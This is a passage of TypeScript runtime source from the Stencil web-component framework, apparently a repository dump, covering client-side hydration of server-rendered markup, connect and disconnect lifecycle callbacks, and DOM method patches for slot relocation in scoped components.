(childVNode.$index$ !== undefined) {\n          // add our child VNode to a specific index of the VNode's children\n          parentVNode.$children$[childVNode.$index$ as any] = childVNode;\n        }\n\n        // This is now the new parent VNode for all the next child checks\n        parentVNode = childVNode;\n\n        if (shadowRootNodes && childVNode.$depth$ === '0') {\n          shadowRootNodes[childVNode.$index$ as any] = childVNode.$elm$;\n        }\n      }\n    }\n\n    if (node.shadowRoot) {\n      // Keep drilling down through the shadow root nodes\n      for (i = node.shadowRoot.childNodes.length - 1; i >= 0; i--) {\n        clientHydrate(\n          parentVNode,\n          childRenderNodes,\n          slotNodes,\n          shadowRootNodes,\n          hostElm,\n          node.shadowRoot.childNodes[i] as any,\n          hostId,\n          slottedNodes,\n        );\n      }\n    }\n\n    // Recursively drill down, end to start so we can remove nodes\n    const nonShadowNodes = node.__childNodes || node.childNodes;\n    for (i = nonShadowNodes.length - 1; i >= 0; i--) {\n      clientHydrate(\n        parentVNode,\n        childRenderNodes,\n        slotNodes,\n        shadowRootNodes,\n        hostElm,\n        nonShadowNodes[i] as any,\n        hostId,\n        slottedNodes,\n      );\n    }\n  } else if (node.nodeType === NODE_TYPE.CommentNode) {\n    // `${COMMENT_TYPE}.${hostId}.${nodeId}.${depth}.${index}`\n    childIdSplt = node.nodeValue.split('.');\n\n    if (childIdSplt[1] === hostId || childIdSplt[1] === '0') {\n      // A comment node for either this host OR (if 0) a root component\n      childNodeType = childIdSplt[0];\n\n      childVNode = createSimpleVNode({\n        $hostId$: childIdSplt[1],\n        $nodeId$: childIdSplt[2],\n        $depth$: childIdSplt[3],\n        $index$: childIdSplt[4] || '0',\n        $elm$: node,\n        $attrs$: null,\n        $children$: null,\n        $key$: null,\n        $name$: null,\n        $tag$: null,\n        $text$: null,\n      });\n\n      if (childNodeType === TEXT_NODE_ID) {\n        childVNode.$elm$ = findCorrespondingNode(node, NODE_TYPE.TextNode) as d.RenderNode;\n\n        if (childVNode.$elm$ && childVNode.$elm$.nodeType === NODE_TYPE.TextNode) {\n          childVNode.$text$ = childVNode.$elm$.textContent;\n          childRenderNodes.push(childVNode);\n\n          // Remove the text comment since it's no longer needed\n          node.remove();\n\n          // Checks to make sure this node actually belongs to this host.\n          // If it was slotted from another component, we don't want to add it to this host's VDOM; it can be removed on render reconciliation.\n          // We *want* slotting logic to take care of it\n          if (hostId === childVNode.$hostId$) {\n            if (!parentVNode.$children$) {\n              parentVNode.$children$ = [];\n            }\n            parentVNode.$children$[childVNode.$index$ as any] = childVNode;\n          }\n\n          if (shadowRootNodes && childVNode.$depth$ === '0') {\n            shadowRootNodes[childVNode.$index$ as any] = childVNode.$elm$;\n          }\n        }\n      } else if (childNodeType === COMMENT_NODE_ID) {\n        childVNode.$elm$ = findCorrespondingNode(node, NODE_TYPE.CommentNode) as d.RenderNode;\n\n        if (childVNode.$elm$ && childVNode.$elm$.nodeType === NODE_TYPE.CommentNode) {\n          // A non-Stencil comment node\n          childRenderNodes.push(childVNode);\n\n          // Remove the comment comment since it's no longer needed\n          node.remove();\n        }\n      } else if (childVNode.$hostId$ === hostId) {\n        // This comment node is specifically for this host id\n\n        if (childNodeType === SLOT_NODE_ID) {\n          // Comment refers to a slot node:\n          // `${SLOT_NODE_ID}.${hostId}.${nodeId}.${depth}.${index}.${slotName}`;\n\n          // Add the slot name\n          const slotName = (node['s-sn'] = childIdSplt[5] || '');\n\n          // add the `<slot>` node to the VNode tree and prepare any slotted any child nodes\n          addSlot(\n            slotName,\n            childIdSplt[2],\n            childVNode,\n            node,\n            parentVNode,\n            childRenderNodes,\n            slotNodes,\n            shadowRootNodes,\n            slottedNodes,\n          );\n        } else if (childNodeType === CONTENT_REF_ID) {\n          // `${CONTENT_REF_ID}.${hostId}`;\n          if (BUILD.shadowDom && shadowRootNodes) {\n            // Remove the content ref comment since it's not needed for shadow\n            node.remove();\n          } else if (BUILD.slotRelocation) {\n            hostElm['s-cr'] = node;\n            node['s-cn'] = true;\n          }\n        }\n      }\n    }\n  } else if (parentVNode && parentVNode.$tag$ === 'style') {\n    const vnode = newVNode(null, node.textContent) as any;\n    vnode.$elm$ = node;\n    vnode.$index$ = '0';\n    parentVNode.$children$ = [vnode];\n  }\n\n  return parentVNode;\n};\n\n/**\n * Recursively locate any comments representing an 'original location' for a node; in a node's children or shadowRoot children.\n * Creates a map of component IDs and 'original location' ID's which are derived from comment nodes placed by 'vdom-annotations.ts'.\n * Each 'original location' relates to a lightDOM node that was moved deeper into the SSR markup. e.g. `<!--o.1-->` maps to `<div c-id=\"0.1\">`\n *\n * @param node The node to search.\n * @param orgLocNodes A map of the original location annotations and the current node being searched.\n */\nexport const initializeDocumentHydrate = (node: d.RenderNode, orgLocNodes: d.PlatformRuntime['$orgLocNodes$']) => {\n  if (node.nodeType === NODE_TYPE.ElementNode) {\n    // Add all the loaded component IDs in this document; required to find nodes later when deciding where slotted nodes should live\n    const componentId = node[HYDRATE_ID] || node.getAttribute(HYDRATE_ID);\n    if (componentId) {\n      orgLocNodes.set(componentId, node);\n    }\n\n    let i = 0;\n    if (node.shadowRoot) {\n      for (; i < node.shadowRoot.childNodes.length; i++) {\n        initializeDocumentHydrate(node.shadowRoot.childNodes[i] as d.RenderNode, orgLocNodes);\n      }\n    }\n    const nonShadowNodes = node.__childNodes || node.childNodes;\n    for (i = 0; i < nonShadowNodes.length; i++) {\n      initializeDocumentHydrate(nonShadowNodes[i] as d.RenderNode, orgLocNodes);\n    }\n  } else if (node.nodeType === NODE_TYPE.CommentNode) {\n    const childIdSplt = node.nodeValue.split('.');\n    if (childIdSplt[0] === ORG_LOCATION_ID) {\n      orgLocNodes.set(childIdSplt[1] + '.' + childIdSplt[2], node);\n      node.nodeValue = '';\n\n      // Useful to know if the original location is The root light-dom of a shadow dom component\n      node['s-en'] = childIdSplt[3] as any;\n    }\n  }\n};\n\n/**\n * Creates a VNode to add to a hydrated component VDOM\n *\n * @param vnode - a vnode partial which will be augmented\n * @returns an complete vnode\n */\nconst createSimpleVNode = (vnode: Partial<RenderNodeData>): RenderNodeData => {\n  const defaultVNode: RenderNodeData = {\n    $flags$: 0,\n    $hostId$: null,\n    $nodeId$: null,\n    $depth$: null,\n    $index$: '0',\n    $elm$: null,\n    $attrs$: null,\n    $children$: null,\n    $key$: null,\n    $name$: null,\n    $tag$: null,\n    $text$: null,\n  };\n  return { ...defaultVNode, ...vnode };\n};\n\nfunction addSlot(\n  slotName: string,\n  slotId: string,\n  childVNode: RenderNodeData,\n  node: d.RenderNode,\n  parentVNode: d.VNode,\n  childRenderNodes: RenderNodeData[],\n  slotNodes: RenderNodeData[],\n  shadowRootNodes: d.RenderNode[],\n  slottedNodes: SlottedNodes[],\n) {\n  node['s-sr'] = true;\n  childVNode.$name$ = slotName || null;\n  childVNode.$tag$ = 'slot';\n\n  // Find this slots' current host parent (as dictated by the VDOM tree).\n  // Important because where it is now in the constructed SSR markup might be different to where to *should* be\n  const parentNodeId = parentVNode?.$elm$ ? parentVNode.$elm$['s-id'] || parentVNode.$elm$.getAttribute('s-id') : '';\n\n  if (BUILD.shadowDom && shadowRootNodes && win.document) {\n    /* SHADOW */\n\n    // Browser supports shadowRoot and this is a shadow dom component; create an actual slot element\n    const slot = (childVNode.$elm$ = win.document.createElement(childVNode.$tag$ as string) as d.RenderNode);\n\n    if (childVNode.$name$) {\n      // Add the slot name attribute\n      childVNode.$elm$.setAttribute('name', slotName);\n    }\n\n    if (parentVNode.$elm$.shadowRoot && parentNodeId && parentNodeId !== childVNode.$hostId$) {\n      // Shadow component's slot is placed inside a nested component's shadowDOM; it doesn't belong to this host - it was forwarded by the SSR markup.\n      // Insert it in the root of this host; it's lightDOM. It doesn't really matter where in the host root; the component will take care of it.\n      internalCall(parentVNode.$elm$, 'insertBefore')(slot, internalCall(parentVNode.$elm$, 'children')[0]);\n    } else {\n      // Insert the new slot element before the slot comment\n      internalCall(internalCall(node, 'parentNode') as d.RenderNode, 'insertBefore')(slot, node);\n    }\n    addSlottedNodes(slottedNodes, slotId, slotName, node, childVNode.$hostId$);\n\n    // Remove the slot comment since it's not needed for shadow\n    node.remove();\n\n    if (childVNode.$depth$ === '0') {\n      shadowRootNodes[childVNode.$index$ as any] = childVNode.$elm$;\n    }\n  } else {\n    /* NON-SHADOW */\n    const slot = childVNode.$elm$ as d.RenderNode;\n\n    // Test to see if this non-shadow component's mock 'slot' is placed inside a nested component's shadowDOM. If so, it doesn't belong here;\n    // it was forwarded by the SSR markup. So we'll insert it into the root of this host; it's lightDOM with accompanying 'slotted' nodes\n    const shouldMove = parentNodeId && parentNodeId !== childVNode.$hostId$ && parentVNode.$elm$.shadowRoot;\n\n    // attempt to find any mock slotted nodes which we'll move later\n    addSlottedNodes(slottedNodes, slotId, slotName, node, shouldMove ? parentNodeId : childVNode.$hostId$);\n    patchSlotNode(node);\n\n    if (shouldMove) {\n      // Move slot comment node (to after any other comment nodes)\n      parentVNode.$elm$.insertBefore(slot, parentVNode.$elm$.children[0]);\n    }\n  }\n\n  childRenderNodes.push(childVNode);\n  slotNodes.push(childVNode);\n\n  if (!parentVNode.$children$) {\n    parentVNode.$children$ = [];\n  }\n  parentVNode.$children$[childVNode.$index$ as any] = childVNode;\n}\n\n/**\n * Adds groups of slotted nodes (grouped by slot ID) to this host element's 'master' array.\n * We'll use this after the host element's VDOM is completely constructed to finally position and add meta required by non-shadow slotted nodes\n *\n * @param slottedNodes - the main host element 'master' array to add to\n * @param slotNodeId - the slot node unique ID\n * @param slotName - the slot node name (can be '')\n * @param slotNode - the slot node\n * @param hostId - the host element id where this node should be slotted\n */\nconst addSlottedNodes = (\n  slottedNodes: SlottedNodes[],\n  slotNodeId: string,\n  slotName: string,\n  slotNode: d.RenderNode,\n  hostId: string,\n) => {\n  let slottedNode = slotNode.nextSibling as d.RenderNode;\n  slottedNodes[slotNodeId as any] = slottedNodes[slotNodeId as any] || [];\n\n  // stop if we find another slot node (as subsequent nodes will belong to that slot)\n  if (!slottedNode || slottedNode.nodeValue?.startsWith(SLOT_NODE_ID + '.')) return;\n\n  // Loop through the next siblings of the slot node, looking for nodes that match this slot's name\n  do {\n    if (\n      slottedNode &&\n      (((slottedNode['getAttribute'] && slottedNode.getAttribute('slot')) || slottedNode['s-sn']) === slotName ||\n        (slotName === '' &&\n          !slottedNode['s-sn'] &&\n          (!slottedNode['getAttribute'] || !slottedNode.getAttribute('slot')) &&\n          (slottedNode.nodeType === NODE_TYPE.CommentNode || slottedNode.nodeType === NODE_TYPE.TextNode)))\n    ) {\n      // Looking for nodes that match this slot's name,\n      // OR are text / comment nodes and the slot is a default slot (no name) - text / comments cannot be direct descendants of *named* slots.\n      // Also ignore slot fallback nodes - they're not part of the lightDOM\n      slottedNode['s-sn'] = slotName;\n      slottedNodes[slotNodeId as any].push({ slot: slotNode, node: slottedNode, hostId });\n    }\n    slottedNode = slottedNode?.nextSibling as d.RenderNode;\n    // continue *unless* we find another slot node (as subsequent nodes will belong to that slot)\n  } while (slottedNode && !slottedNode.nodeValue?.startsWith(SLOT_NODE_ID + '.'));\n};\n\n/**\n * Steps through the node's siblings to find the next node of a specific type, with a value.\n * e.g. when we find a position comment `<!--t.1-->`, we need to find the next text node with a value.\n * (it's a guard against whitespace which is never accounted for in the SSR output)\n * @param node - the starting node\n * @param type - the type of node to find\n * @returns the first corresponding node of the type\n */\nconst findCorrespondingNode = (node: Node, type: NODE_TYPE.CommentNode | NODE_TYPE.TextNode) => {\n  let sibling = node;\n  do {\n    sibling = sibling.nextSibling;\n  } while (sibling && (sibling.nodeType !== type || !sibling.nodeValue));\n  return sibling;\n};\n\ntype SlottedNodes = Array<{ slot: d.RenderNode; node: d.RenderNode; hostId: string }>;\n\ninterface RenderNodeData extends d.VNode {\n  $hostId$: string;\n  $nodeId$: string;\n  $depth$: string;\n  $index$: string;\n  $elm$: d.RenderNode;\n}\n"
  },
  {
    "path": "src/runtime/connected-callback.ts",
    "content": "import { BUILD } from '@app-data';\nimport { addHostEventListeners, getHostRef, nextTick, plt, supportsShadow, win } from '@platform';\n\nimport type * as d from '../declarations';\nimport { CMP_FLAGS, HOST_FLAGS, MEMBER_FLAGS } from '../utils/constants';\nimport { initializeClientHydrate } from './client-hydrate';\nimport { fireConnectedCallback, initializeComponent } from './initialize-component';\nimport { createTime } from './profile';\nimport { HYDRATE_ID, NODE_TYPE, PLATFORM_FLAGS } from './runtime-constants';\nimport { addStyle, getScopeId } from './styles';\nimport { attachToAncestor } from './update-component';\nimport { insertBefore } from './vdom/vdom-render';\n\nexport const connectedCallback = (elm: d.HostElement) => {\n  if ((plt.$flags$ & PLATFORM_FLAGS.isTmpDisconnected) === 0) {\n    const hostRef = getHostRef(elm);\n    if (!hostRef) {\n      return;\n    }\n\n    const cmpMeta = hostRef.$cmpMeta$;\n    const endConnected = createTime('connectedCallback', cmpMeta.$tagName$);\n\n    if (BUILD.hostListenerTargetParent) {\n      // only run if we have listeners being attached to a parent\n      addHostEventListeners(elm, hostRef, cmpMeta.$listeners$, true);\n    }\n\n    if (!(hostRef.$flags$ & HOST_FLAGS.hasConnected)) {\n      // first time this component has connected\n      hostRef.$flags$ |= HOST_FLAGS.hasConnected;\n\n      let hostId: string;\n      if (BUILD.hydrateClientSide) {\n        hostId = elm.getAttribute(HYDRATE_ID);\n        if (hostId) {\n          if (BUILD.shadowDom && supportsShadow && cmpMeta.$flags$ & CMP_FLAGS.shadowDomEncapsulation) {\n            const scopeId = BUILD.mode\n              ? addStyle(elm.shadowRoot, cmpMeta, elm.getAttribute('s-mode'))\n              : addStyle(elm.shadowRoot, cmpMeta);\n            elm.classList.remove(scopeId + '-h', scopeId + '-s');\n          } else if (BUILD.scoped && cmpMeta.$flags$ & CMP_FLAGS.scopedCssEncapsulation) {\n            // set the scope id on the element now. Useful when hydrating,\n            // to more quickly set the initial scoped classes for scoped css\n            const scopeId = getScopeId(cmpMeta, BUILD.mode ? elm.getAttribute('s-mode') : undefined);\n            elm['s-sc'] = scopeId;\n          }\n          initializeClientHydrate(elm, cmpMeta.$tagName$, hostId, hostRef);\n        }\n      }\n\n      if (BUILD.slotRelocation && !hostId) {\n        // initUpdate\n        // if the slot polyfill is required we'll need to put some nodes\n        // in here to act as original content anchors as we move nodes around\n        // host element has been connected to the DOM\n        if (\n          BUILD.hydrateServerSide ||\n          ((BUILD.slot || BUILD.shadowDom) &&\n            // TODO(STENCIL-854): Remove code related to legacy shadowDomShim field\n            cmpMeta.$flags$ & (CMP_FLAGS.hasSlotRelocation | CMP_FLAGS.needsShadowDomShim))\n        ) {\n          setContentReference(elm);\n        }\n      }\n\n      if (BUILD.asyncLoading) {\n        // find the first ancestor component (if there is one) and register\n        // this component as one of the actively loading child components for its ancestor\n        let ancestorComponent = elm;\n\n        while ((ancestorComponent = (ancestorComponent.parentNode as any) || (ancestorComponent.host as any))) {\n          // climb up the ancestors looking for the first\n          // component that hasn't finished its lifecycle update yet\n          if (\n            (BUILD.hydrateClientSide &&\n              ancestorComponent.nodeType === NODE_TYPE.ElementNode &&\n              ancestorComponent.hasAttribute('s-id') &&\n              ancestorComponent['s-p']) ||\n            ancestorComponent['s-p']\n          ) {\n            // we found this components first ancestor component\n            // keep a reference to this component's ancestor component\n            attachToAncestor(hostRef, (hostRef.$ancestorComponent$ = ancestorComponent));\n            break;\n          }\n        }\n      }\n\n      // Lazy properties\n      // https://developers.google.com/web/fundamentals/web-components/best-practices#lazy-properties\n      if (BUILD.prop && !BUILD.hydrateServerSide && cmpMeta.$members$) {\n        Object.entries(cmpMeta.$members$).map(([memberName, [memberFlags]]) => {\n          if (memberFlags & MEMBER_FLAGS.Prop && Object.prototype.hasOwnProperty.call(elm, memberName)) {\n            const value = (elm as any)[memberName];\n            delete (elm as any)[memberName];\n            (elm as any)[memberName] = value;\n          }\n        });\n      }\n\n      if (BUILD.initializeNextTick) {\n        // connectedCallback, taskQueue, initialLoad\n        // angular sets attribute AFTER connectCallback\n        // https://github.com/angular/angular/issues/18909\n        // https://github.com/angular/angular/issues/19940\n        nextTick(() => initializeComponent(elm, hostRef, cmpMeta));\n      } else {\n        initializeComponent(elm, hostRef, cmpMeta);\n      }\n    } else {\n      // not the first time this has connected\n\n      // reattach any event listeners to the host\n      // since they would have been removed when disconnected\n      addHostEventListeners(elm, hostRef, cmpMeta.$listeners$, false);\n\n      // fire off connectedCallback() on component instance\n      if (hostRef?.$lazyInstance$) {\n        fireConnectedCallback(hostRef.$lazyInstance$, elm);\n      } else if (hostRef?.$onReadyPromise$) {\n        hostRef.$onReadyPromise$.then(() => fireConnectedCallback(hostRef.$lazyInstance$, elm));\n      }\n    }\n\n    endConnected();\n  }\n};\n\nconst setContentReference = (elm: d.HostElement) => {\n  if (!win.document) {\n    return;\n  }\n\n  // only required when we're NOT using native shadow dom (slot)\n  // or this browser doesn't support native shadow dom\n  // and this host element was NOT created with SSR\n  // let's pick out the inner content for slot projection\n  // create a node to represent where the original\n  // content was first placed, which is useful later on\n  const contentRefElm = (elm['s-cr'] = win.document.createComment(\n    BUILD.isDebug ? `content-ref (host=${elm.localName})` : '',\n  ) as any);\n  contentRefElm['s-cn'] = true;\n  insertBefore(elm, contentRefElm, elm.firstChild as d.RenderNode);\n};\n"
  },
  {
    "path": "src/runtime/disconnected-callback.ts",
    "content": "import { BUILD } from '@app-data';\nimport { getHostRef, plt } from '@platform';\n\nimport type * as d from '../declarations';\nimport { PLATFORM_FLAGS } from './runtime-constants';\nimport { rootAppliedStyles } from './styles';\nimport { safeCall } from './update-component';\n\nconst disconnectInstance = (instance: any, elm?: d.HostElement) => {\n  if (BUILD.lazyLoad) {\n    safeCall(instance, 'disconnectedCallback', undefined, elm || instance);\n  }\n};\n\nexport const disconnectedCallback = async (elm: d.HostElement) => {\n  if ((plt.$flags$ & PLATFORM_FLAGS.isTmpDisconnected) === 0) {\n    const hostRef = getHostRef(elm);\n\n    if (BUILD.hostListener) {\n      if (hostRef?.$rmListeners$) {\n        hostRef.$rmListeners$.map((rmListener) => rmListener());\n        hostRef.$rmListeners$ = undefined;\n      }\n    }\n\n    if (!BUILD.lazyLoad) {\n      disconnectInstance(elm);\n    } else if (hostRef?.$lazyInstance$) {\n      disconnectInstance(hostRef.$lazyInstance$, elm);\n    } else if (hostRef?.$onReadyPromise$) {\n      hostRef.$onReadyPromise$.then(() => disconnectInstance(hostRef.$lazyInstance$, elm));\n    }\n  }\n\n  /**\n   * Remove the element from the `rootAppliedStyles` WeakMap\n   */\n  if (rootAppliedStyles.has(elm)) {\n    rootAppliedStyles.delete(elm);\n  }\n\n  /**\n   * Remove the shadow root from the `rootAppliedStyles` WeakMap\n   */\n  if (elm.shadowRoot && rootAppliedStyles.has(elm.shadowRoot as unknown as Element)) {\n    rootAppliedStyles.delete(elm.shadowRoot as unknown as Element);\n  }\n};\n"
  },
  {
    "path": "src/runtime/dom-extras.ts",
    "content": "import { BUILD } from '@app-data';\nimport { supportsShadow } from '@platform';\n\nimport type * as d from '../declarations';\nimport {\n  addSlotRelocateNode,\n  dispatchSlotChangeEvent,\n  findSlotFromSlottedNode,\n  getHostSlotNodes,\n  getSlotChildSiblings,\n  getSlotName,\n  getSlottedChildNodes,\n  updateFallbackSlotVisibility,\n} from './slot-polyfill-utils';\n\n/// HOST ELEMENTS ///\n\nexport const patchPseudoShadowDom = (hostElementPrototype: HTMLElement) => {\n  patchCloneNode(hostElementPrototype);\n  patchSlotAppendChild(hostElementPrototype);\n  patchSlotAppend(hostElementPrototype);\n  patchSlotPrepend(hostElementPrototype);\n  patchSlotInsertAdjacentElement(hostElementPrototype);\n  patchSlotInsertAdjacentHTML(hostElementPrototype);\n  patchSlotInsertAdjacentText(hostElementPrototype);\n  patchInsertBefore(hostElementPrototype);\n  patchTextContent(hostElementPrototype);\n  patchChildSlotNodes(hostElementPrototype);\n  patchSlotRemoveChild(hostElementPrototype);\n};\n\n/**\n * Patches the `cloneNode` method on a `scoped` Stencil component.\n *\n * @param HostElementPrototype The Stencil component to be patched\n */\nexport const patchCloneNode = (HostElementPrototype: any) => {\n  if (HostElementPrototype.__cloneNode) return;\n  const orgCloneNode = (HostElementPrototype.__cloneNode = HostElementPrototype.cloneNode);\n\n  HostElementPrototype.cloneNode = function (deep?: boolean) {\n    const srcNode = this;\n    const isShadowDom = BUILD.shadowDom ? srcNode.shadowRoot && supportsShadow : false;\n    const clonedNode = orgCloneNode.call(srcNode, isShadowDom ? deep : false) as Node;\n    if (BUILD.slot && !isShadowDom && deep) {\n      let i = 0;\n      let slotted, nonStencilNode;\n      const stencilPrivates = [\n        's-id',\n        's-cr',\n        's-lr',\n        's-rc',\n        's-sc',\n        's-p',\n        's-cn',\n        's-sr',\n        's-sn',\n        's-hn',\n        's-ol',\n        's-nr',\n        's-si',\n        's-rf',\n        's-scs',\n      ];\n      const childNodes = (this as any).__childNodes || this.childNodes;\n\n      for (; i < childNodes.length; i++) {\n        slotted = (childNodes[i] as any)['s-nr'];\n        nonStencilNode = stencilPrivates.every((privateField) => !(childNodes[i] as any)[privateField]);\n        if (slotted) {\n          if (BUILD.appendChildSlotFix && (clonedNode as any).__appendChild) {\n            (clonedNode as any).__appendChild(slotted.cloneNode(true));\n          } else {\n            clonedNode.appendChild(slotted.cloneNode(true));\n          }\n        }\n        if (nonStencilNode) {\n          clonedNode.appendChild((childNodes[i] as any).cloneNode(true));\n        }\n      }\n    }\n    return clonedNode;\n  };\n};\n\n/**\n * Patches the `appendChild` method on a `scoped` Stencil component.\n * The patch will attempt to find a slot with the same name as the node being appended\n * and insert it into the slot reference if found. Otherwise, it falls-back to the original\n * `appendChild` method.\n *\n * @param HostElementPrototype The Stencil component to be patched\n */\nexport const patchSlotAppendChild = (HostElementPrototype: any) => {\n  if (HostElementPrototype.__appendChild) return;\n  HostElementPrototype.__appendChild = HostElementPrototype.appendChild;\n\n  HostElementPrototype.appendChild = function (this: d.RenderNode, newChild: d.RenderNode) {\n    const { slotName, slotNode } = findSlotFromSlottedNode(newChild, this);\n    if (slotNode) {\n      addSlotRelocateNode(newChild, slotNode);\n\n      const slotChildNodes = getSlotChildSiblings(slotNode, slotName);\n      const appendAfter = slotChildNodes[slotChildNodes.length - 1];\n\n      const parent = internalCall(appendAfter, 'parentNode') as d.RenderNode;\n      const insertedNode: d.RenderNode = internalCall(parent, 'insertBefore')(newChild, appendAfter.nextSibling);\n      dispatchSlotChangeEvent(slotNode);\n\n      // Check if there is fallback content that should be hidden\n      updateFallbackSlotVisibility(this);\n\n      return insertedNode;\n    }\n    return (this as any).__appendChild(newChild);\n  };\n};\n\n/**\n * Patches the `removeChild` method on a `scoped` Stencil component.\n * This patch attempts to remove the specified node from a slot reference\n * if the slot exists. Otherwise, it falls-back to the original `removeChild` method.\n *\n * @param ElementPrototype The Stencil component to be patched\n */\nconst patchSlotRemoveChild = (ElementPrototype: any) => {\n  if (ElementPrototype.__removeChild) return;\n  ElementPrototype.__removeChild = ElementPrototype.removeChild;\n\n  ElementPrototype.removeChild = function (this: d.RenderNode, toRemove: d.RenderNode) {\n    if (toRemove && typeof toRemove['s-sn'] !== 'undefined') {\n      const childNodes = (this as any).__childNodes || this.childNodes;\n      const slotNode = getHostSlotNodes(childNodes, this.tagName, toRemove['s-sn']);\n      if (slotNode && toRemove.isConnected) {\n        toRemove.remove();\n        // Check if there is fallback content that should be displayed if that\n        // was the last node in the slot\n        updateFallbackSlotVisibility(this);\n        return;\n      }\n    }\n    return (this as any).__removeChild(toRemove);\n  };\n};\n\n/**\n * Patches the `prepend` method for a slotted node inside a scoped component.\n *\n * @param HostElementPrototype the `Element` to be patched\n */\nexport const patchSlotPrepend = (HostElementPrototype: HTMLElement) => {\n  if ((HostElementPrototype as any).__prepend) return;\n  (HostElementPrototype as any).__prepend = HostElementPrototype.prepend;\n\n  HostElementPrototype.prepend = function (this: d.HostElement, ...newChildren: (d.RenderNode | string)[]) {\n    newChildren.forEach((newChild: d.RenderNode | string) => {\n      if (typeof newChild === 'string') {\n        newChild = this.ownerDocument.createTextNode(newChild) as unknown as d.RenderNode;\n      }\n      const slotName = (newChild['s-sn'] = getSlotName(newChild)) || '';\n      const childNodes = internalCall(this, 'childNodes');\n      const slotNode = getHostSlotNodes(childNodes, this.tagName, slotName)[0];\n      if (slotNode) {\n        addSlotRelocateNode(newChild, slotNode, true);\n        const slotChildNodes = getSlotChildSiblings(slotNode, slotName);\n        const appendAfter = slotChildNodes[0];\n\n        const parent = internalCall(appendAfter, 'parentNode') as d.RenderNode;\n        const toReturn = internalCall(parent, 'insertBefore')(newChild, internalCall(appendAfter, 'nextSibling'));\n        dispatchSlotChangeEvent(slotNode);\n        return toReturn;\n      }\n\n      if (newChild.nodeType === 1 && !!newChild.getAttribute('slot')) {\n        newChild.hidden = true;\n      }\n\n      return (HostElementPrototype as any).__prepend(newChild);\n    });\n  };\n};\n\n/**\n * Patches the `append` method for a slotted node inside a scoped component. The patched method uses\n * `appendChild` under-the-hood while creating text nodes for any new children that passed as bare strings.\n *\n * @param HostElementPrototype the `Element` to be patched\n */\nexport const patchSlotAppend = (HostElementPrototype: HTMLElement) => {\n  if ((HostElementPrototype as any).__append) return;\n  (HostElementPrototype as any).__append = HostElementPrototype.append;\n  HostElementPrototype.append = function (this: d.HostElement, ...newChildren: (d.RenderNode | string)[]) {\n    newChildren.forEach((newChild: d.RenderNode | string) => {\n      if (typeof newChild === 'string') {\n        newChild = this.ownerDocument.createTextNode(newChild) as unknown as d.RenderNode;\n      }\n      this.appendChild(newChild);\n    });\n  };\n};\n\n/**\n * Patches the `insertAdjacentHTML` method for a slotted node inside a scoped component. Specifically,\n * we only need to patch the behavior for the specific `beforeend` and `afterbegin` positions so the element\n * gets inserted into the DOM in the correct location.\n *\n * @param HostElementPrototype the `Element` to be patched\n */\nexport const patchSlotInsertAdjacentHTML = (HostElementPrototype: HTMLElement) => {\n  if ((HostElementPrototype as any).__insertAdjacentHTML) return;\n  const originalInsertAdjacentHtml = HostElementPrototype.insertAdjacentHTML;\n\n  HostElementPrototype.insertAdjacentHTML = function (this: d.HostElement, position: InsertPosition, text: string) {\n    if (position !== 'afterbegin' && position !== 'beforeend') {\n      return originalInsertAdjacentHtml.call(this, position, text);\n    }\n    const container = this.ownerDocument.createElement('_');\n    let node: d.RenderNode;\n    container.innerHTML = text;\n\n    if (position === 'afterbegin') {\n      while ((node = container.firstChild as d.RenderNode)) {\n        this.prepend(node);\n      }\n    } else if (position === 'beforeend') {\n      while ((node = container.firstChild as d.RenderNode)) {\n        this.append(node);\n      }\n    }\n  };\n};\n\n/**\n * Patches the `insertAdjacentText` method for a slotted node inside a scoped component. Specifically,\n * we only need to patch the behavior for the specific `beforeend` and `afterbegin` positions so the text node\n * gets inserted into the DOM in the correct location.\n *\n * @param HostElementPrototype the `Element` to be patched\n */\nexport const patchSlotInsertAdjacentText = (HostElementPrototype: HTMLElement) => {\n  HostElementPrototype.insertAdjacentText = function (this: d.HostElement, position: InsertPosition, text: string) {\n    this.insertAdjacentHTML(position, text);\n  };\n};\n\n/**\n * Patches the `insertBefore` of a non-shadow component.\n *\n * The *current* node to insert before may not be in the root of our component\n * (e.g. if it's 'slotted' it appears in the root, but isn't really)\n *\n * This tries to find where the *current* node lives within the component and insert the new node before it\n * *If* the new node is in the same slot as the *current* node. Otherwise the new node is appended to it's 'slot'\n *\n * @param HostElementPrototype the custom element prototype to patch\n */\nconst patchInsertBefore = (HostElementPrototype: HTMLElement) => {\n  if ((HostElementPrototype as any).__insertBefore) return;\n  const eleProto: d.RenderNode = HostElementPrototype;\n  if (eleProto.__insertBefore) return;\n\n  eleProto.__insertBefore = HostElementPrototype.insertBefore;\n\n  HostElementPrototype.insertBefore = function <T extends d.PatchedSlotNode>(\n    this: d.RenderNode,\n    newChild: T,\n    currentChild: d.RenderNode | null,\n  ) {\n    const { slotName, slotNode } = findSlotFromSlottedNode(newChild, this);\n    const slottedNodes = this.__childNodes ? this.childNodes : getSlottedChildNodes(this.childNodes);\n\n    if (slotNode) {\n      let found = false;\n\n      slottedNodes.forEach((childNode) => {\n        if (childNode === currentChild || currentChild === null) {\n          // we found the node to insert before in our list of 'lightDOM' / slotted nodes\n          found = true;\n\n          if (currentChild === null || slotName !== currentChild['s-sn']) {\n            // new child is not in the same slot as 'slot before' node\n            // so let's use the patched appendChild method. This will correctly slot the node\n            this.appendChild(newChild);\n            return;\n          }\n\n          if (slotName === currentChild['s-sn']) {\n            // current child ('slot before' node) is 'in' the same slot\n            addSlotRelocateNode(newChild, slotNode);\n\n            const parent = internalCall(currentChild, 'parentNode') as d.RenderNode;\n            internalCall(parent, 'insertBefore')(newChild, currentChild);\n\n            dispatchSlotChangeEvent(slotNode);\n          }\n          return;\n        }\n      });\n      if (found) return newChild;\n    }\n\n    /**\n     * Fixes an issue where slotted elements are dynamically relocated in React, such as after data fetch.\n     *\n     * When a slotted element is passed to another scoped component (e.g., <A><C slot=\"header\"/></A>),\n     * the child’s __parentNode (original parent node property) does not match this.\n     *\n     * To prevent errors, this checks if the current child's parent node differs from this.\n     * If so, appendChild(newChild) is called to ensure the child is correctly inserted,\n     * allowing Stencil to properly manage the slot placement.\n     */\n    const parentNode = (currentChild as d.PatchedSlotNode)?.__parentNode;\n    if (parentNode && !this.isSameNode(parentNode)) {\n      return this.appendChild(newChild);\n    }\n    return (this as d.RenderNode).__insertBefore(newChild, currentChild);\n  };\n};\n\n/**\n * Patches the `insertAdjacentElement` method for a slotted node inside a scoped component. Specifically,\n * we only need to patch the behavior for the specific `beforeend` and `afterbegin` positions so the element\n * gets inserted into the DOM in the correct location.\n *\n * @param HostElementPrototype the `Element` to be patched\n */\nexport const patchSlotInsertAdjacentElement = (HostElementPrototype: HTMLElement) => {\n  